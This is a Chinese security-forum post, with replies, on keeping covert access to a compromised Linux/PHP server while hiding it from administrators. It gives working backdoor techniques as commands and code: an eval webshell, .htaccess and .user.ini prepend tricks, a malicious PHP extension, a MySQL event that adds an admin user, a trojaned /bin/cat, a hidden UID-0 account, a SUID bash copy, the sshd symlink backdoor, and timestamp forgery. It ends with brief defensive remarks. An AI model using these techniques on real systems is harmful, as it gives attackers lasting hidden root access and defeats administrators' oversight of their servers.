用户
搜索
  • TA的每日心情

    2019-1-23 14:43
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-见习白帽

    k0nJAc

    Rank: 3Rank: 3

    1

    主题

    55

    帖子

    245

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-5-10
    发表于 2019-1-23 09:29:06 2310421
    本帖最后由 tllm 于 2019-1-23 10:45 编辑

    如何和管理员玩躲猫猫/权限维持

    • 有些时候,当你对于一个服务器getshell以后,例如有一个webshell,但是可能被对方的管理员发现,在发现之前我们有什么办法让自己的后门藏起来呢,方便被删权限以后再次控制机器 都是基本操作 别笑我 求求你们了

    本文环境

    ubuntu 16.04 + php + mysql
    另外不同操作基于不同权限 有可能是root 有可能是webserver的权限

    Webshell/Web

    >* 基于web服务的一句话下和管理员进行的捉迷藏

    一个最简单的webshell一句话

    1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹

    1.你可以直接写成php后缀的文件 当然 这很容易被发现
    2.可以利用htaccess文件进行重写
    在我的环境下(上文提及) 默认是不开启rewrite
    ps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件

    sudo a2enmod rewrite
    sudo vim /etc/apache2/sites-enabled/000-default
    #将/var/www 下的AllowOverride None 修改为 AllowOverride All,如果没有看到这项内容,可以修改apache2.conf配置文件:
    sudo vim /etc/apache2/apache2.conf
    sudo /etc/init.d/apache2 restart

    基于htaccess bakcdoor操作的有很多我也是抛砖引玉

    弊端

    • 虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果需要开rewrite 是需要root权限重启服务的 而且修改的配置文件多 动静大
    • 越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止执行的权限限制

    优点:

    • 虽然也不算什么优点 但还是说说
    • .htaccess 在linux中是.开头 属于隐藏文件 ls可能还没看见  
    • 如果在一个正常的图片中插入代码可能更难发现
    img code
     <phpwebshell>
    img code
    • 权限在不用开启rewrite的情景下 只用webserver
    • 另外 如果文件名最好是符合同文件夹下的命名规则 例如xxx时间撮.jpg 这样子管理员追查日志更难找到 而不是醒目的1.jpg konjac.jpg xxx.jpg....
    • 暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲

    2.藏于php.ini

    • php.ini是php的配置文件 可以用来控制php的某些功能  在这个文件上可以做很多操作

    举个例子
    在/etc/php7.0/apache2/php.ini中 (本文测试环境,以后的路径都不再说明)

    ; Automatically add files before PHP document.
    ; http://php.net/auto-prepend-file
    auto_prepend_file =
    
    ; Automatically add files after PHP document.
    ; http://php.net/auto-append-file
    auto_append_file =

    其中有这样子的2个配置
    auto_prepend_file =
    auto_append_file =
    根据注释可以看明白 一个是在php文档之前自动添加文件。一个是在php文档后自动添加文件。

    我们来实验一下
    修改php.ini文件 这个参数是受到include_path限制的 所以我们给这2个参数进行修改 我这里放在了网站目录 你也可以放在别的php有权限的地方更加隐蔽 比如/tmp /etc/php/xxx/等等

    修改参数以后我一直重启php发现没有生效 然后才知道是重启apache
    重启以后访问一个文件

    的确是在test.php 前面自动include了一个文件

    然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的通俗点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

    当然了 不是php.ini所有的设置你都可以做操作 是有具体模式的

    PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定
    PHP_INI_PERDIR    可在 php.ini,.htaccess 或 httpd.conf 中设定
    PHP_INI_SYSTEM    可在 php.ini 或 httpd.conf 中设定
    PHP_INI_ALL    可在任何地方设定

    具体模式可以看官方的文档http://php.net/manual/zh/ini.list.php

    实际上 除了 php_ini_system 别的都可以利用 .user.ini控制
    一开始我的.user.ini一直未生效 以为是有300秒的生效时间 结果发现是

    不管是 nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

    apache 一般不是fastcgi 得装模块 为了节省时间我就用.htaccess来实验
    注意.htaccess的写法 有点不一样

    只是一些很多年前就有的操作了 希望有大佬们多分享一下

    优点

    • 可以知道 我们只要有webserver的权限就kyii通过.htaccess/.user.ini来控制所有的php文件包含后门
    • 动静不大 动的东西不多

    弊端:

    • 隐藏性不高 有经验的人都能发现

    待补充....

    3.制作.so扩展后门

    • PHP扩展简介
      PHP扩展库(在Linux中为.so,在Windows中为.dll),它们提供了添加可以从执行的PHP脚本调用的新函数集的可能性。扩展可以使用php.ini文件中的定义自动加载,参数名为“extension”; 或者使用函数dl()从将要执行的PHP脚本代码动态执行 另外刚刚去看了看官方手册 dl函数已经在新版本删了

    0x01:
    http://cn2.php.net/distributions/
    先去下载一个php下来 然后解压

    $ cd phpxxx/
    $ ./configure 
    $ make
    $ cd etx
    $ ./etx_skel --extname=konjac          # [backdoorname]
    $ cd konjac

    在创建的文件中,有一个konjac.c文件 然后这里写明几点

    • PHP_FUNCTION() 是用来 将被导出 以便用来 从php中执行的函数 这里可以定义所需要的新功能。
    • PHP_MINT_FUNCTION() 每当php解析器启动时,都会执行你利用这个注册的代码,还有一个就是 你添加的代码都是root身份执行的,是一种使用特权执行代码的方法。
    • PHP_MSHUTDOWN_FUNCTION() 这个代码是应该在停止php解析器之前执行的 看这个shutdown的单词就猜到了
    • PHP_RINT_FUNTION() 这个是在php文件执行启动时执行
    • PHP_RSHUTDOWN_FUNCTION()  这个是在php文件执行结束时执行。
    • PHP_MINFO_FUNCTION() 这个是以phpinfo的形式显示。用来检测扩展是否正确加载。

    我们打开config.m4这个文件 取消下面三行的注释

    #这里的注释不是# 是dnl
     PHP_ARG_ENABLE(backdoor, whether to enable backdoor support,
     Make sure that the comment is aligned:
     [  --enable-backdoor           Enable backdoor support])

    然后顺手改改konjac.c里面的代码 看看测试效果

    PHP_MINFO_FUNCTION(konjac)
    {
       php_info_print_table_start();
       php_info_print_table_header(2, "konjac test hack", "enabled");
       php_info_print_table_end();
    }

    修改保存以后执行

    $ phpize # 如果没有 apt-get install phpiz
    $ ./configure
    $ make

    成功的效果图:

    然后修改php.ini

    extension=/tmp/konjac.so

    我测试了3个小时 自己给自己挖了个坑 发现网上大多是php5的扩展编译资料 没看到php7的 一直不知道为何get或者post的参数获取不到 后来想了想 我都能编译扩展库了 system函数一把梭
    在konjac.c中添加如下demo测试代码

    这样子我每次访问php文件就会执行这个代码

    $ cat /tmp/konjac
    konjac

    另外 这里时间关系就不演示了  说明几点
    可能说这个动的文件多 但是这里操作空间很大
    比如 php.ini加载是加载一次的 所以我们可以
    利用PHP_MINT_FUNCTION(是root权限)在php开启的时候把php.ini里面的extension删除 然后修改时间撮
    利用PHP_MSHUTDOWN_FUNCTION在php服务关闭的时候把php.ini里面的extension加回来 然后修改时间撮 但是如果对方不是重启 只关闭就可以发现了 想想还有什么骚操作?抛砖引玉

    顺便记一个东西
    zend_eval_string是在c语言中执行php代码

    int zend_eval_string ( char* str, zval* retval_ptr, char* string_name, magic TSRMLS_DC )
    第一个参数是字符串型的,就是要执行的PHP代码。 
    第二个是返回的值,因为是zval型的,所以得先做下初始化,直接操作return_value这个变量是可以直接返回给外面调用的PHP的。 
    第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。 
    例如:
    zend_eval_string("phpinfo();",return_value,"konjac" TSRMLS_DC);

    还有不死马 写进内存 php定时任务之类的 就先不说了。网上都有很多很多总计
    web方面的大概写在这里 有点累 其实都是一些老操作 大佬们笑笑就好了

    基于MYSQL

    1. mysql定时任务

    create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd) values('hackuser','123456'); end //创建一个存储过程 
    create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创建一个定时任务 60秒执行一次存储过程 当然了 我个人觉得一天最好 
    alter event e_konjac on completion preserve enable; //开启定时任务
    alter event e_konjac on completion preserve disable; //关闭定时任务


    也可以写文件 或者执行系统命令之类的 反正都是mysql语句 不一一描述

    基于linux文件

    • linux的功能性强 操作空间也特别大

    crontab 定时任务

    crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

    ubuntu的情景下

    #ubuntu和cetnos等服务器可能命令有所差异
    crontab -e 
    #在最后一行添加你要执行的定时任务
    #每分钟执行一次命令
    */1 * * * * echo konjac >> /tmp/crontabtest
    #退出来以后 service cron restart
    可以看出是能成功执行的 至于怎么操作定时任务就是发挥你的脑动啦 或者想想如何让人不发现你的定时任务
    konjac@konjac-CN15S:/var/spool/cron$ cat /tmp/crontabtest 
    konjac
    konjac
    konjac
    konjac
    konjac
    konjac

    如何让管理员执行我们的命令

    比如我们执行一个命令

    cat xxx

    是等同于

    /bin/cat xxx

    那么我们如果在/bin/cat 里面藏后门呢

    mv /bin/cat /bin/back_cat #更改实际cat路径方便以后调用
    vim /bin/cat
    添加内容:
    echo "hello i am hackcode"
    /bin/back_cat

    然后执行cat test 结果发现成功打印hello i am hackcode 但是一直在输入的状态
    是因为没有参数传给back_cat 所以我们可以利用$1 获取shell的参数来传给back_cat

    vim /bin/cat
    添加内容:
    echo "hello i am hackcode"
    /bin/back_cat $1 

    执行

    ~ cat /var/www/html/shell.php 
    hello i am hackcode
    <?php
    eval($_REQUEST['konjac']);
    ?>

    然后又思考了一下 如果屌丝管理员cat 2个文件 或者别的命令有别的参数呢

    #vim /bin/cat
    echo "hello i am hackcode"
    for i in "$*";do
            /bin/back_cat $i
    done

    执行

    ~$ cat shell.php test.php 
    hello i am hackcode
    <?php
    eval($_REQUEST['konjac']);
    ?>
    <?php
    echo "hello i am test";
    ?>

    是成功执行了cat的作用和实现执行自己的命令的

    另外一些命令记录一下

    Linux/Unix 添加 UID 为 0 的用户(肯定是要root权限的啦)

    useradd -o -u 0 backdoor
    然后去/etc/passwd /etc/shadow中把最后一行 属于backdoor的信息 移到中间 迷惑管理员的眼睛
    虽然一个cat /etc/passwd|grep :0的事情 但是说不定可以骗骗半桶水

    修改时间撮

    语法:touch -t +时间撮
    konjac@konjac-CN15S:/var/www/html$ sudo touch -t 1401010101.01 konjac.php
    ps:前几个星期听某师傅说某公司的检测后门基于时间撮 我也是醉了 哈哈

    添加bash后门

    root:~# cp /bin/bash /tmp/.bash
    root:~# chmod u+s /tmp/.bash
    test@konjac-CN15S:$ /tmp/.bash -p
    .bash-4.3# id
    uid=1001(test) gid=1002(test) euid=0(root) 组=1002(test)
    .bash-4.3# 

    添加ssh后门

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
    执行这个命令以后 ssh这个服务器5555端口 任意密码既可登录root

    .bashrc

    ~/.bashrc中每次打开新的shell都会自动执行命令

    还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种  手法太多了 说三天三夜也说不完

    综上所述:

    思考与对抗

    • 是否可以建立一个linux所有文件的hash对照表 检测什么文件发生了变化 以至于 管理员进行检测
    • 多对系统进行备份
    • 也是一些比较简单的操作 但是如果混合起来运用 可以恶心管理员的  如果你熟练掌握以后 再加上一些骚操作
    • 触类旁通:比如cat 或者 vi 会不会遇到哪种字符会终止 遭到截断 有什么文件 在shell情景下较难删除
    • 如何让自己的动静小 尽最大努力保持文件hash 不变 时间撮不变
    • 如何清理自己操作的日志
    • 如何记录hack操作的日志

    藏考资料:

    http://www.baidu.com
    http://www.google.com


    游客,如果您要查看本帖隐藏内容请回复





    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 我回来了

    查看全部评分

    E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限
    使用道具 举报 回复
    还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种  手法太多了 说三天三夜也说不完
    使用道具 举报 回复
    很强                                    
    使用道具 举报 回复
    顺便提一个 如何基于root权限 利用这些操作感染一个linux 还删都删不干净那种
    一位热衷于分享,积极向上的小白
    使用道具 举报 回复
    发表于 2019-1-23 11:14:27
    顺便提一个 如何基于root权限 利用这些操作感染一个linux 还删都删不干净那种
    使用道具 举报 回复
    刚好最近在找关于后门的资料
    使用道具 举报 回复
    发表于 2019-1-23 15:09:20
    666666666666666666666
    使用道具 举报 回复
    看看隐藏了什么东西啊
    使用道具 举报 回复
    66666666666666666
    使用道具 举报 回复
    发表于 2019-1-23 15:00:49
    6666666666666
    使用道具 举报 回复
    发表于 2019-1-23 15:09:38
    666666666666666666
    使用道具 举报 回复
    6666666666666666
    使用道具 举报 回复
    发表于 2019-1-23 20:39:42
    隐写后门会不会更好?
    使用道具 举报 回复
    发表于 2019-1-25 09:48:55
    学习了 嘿嘿
    使用道具 举报 回复
    发表于 2019-1-25 13:28:04
    学习学习
    使用道具 举报 回复
    厉害了!!!!!!!
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册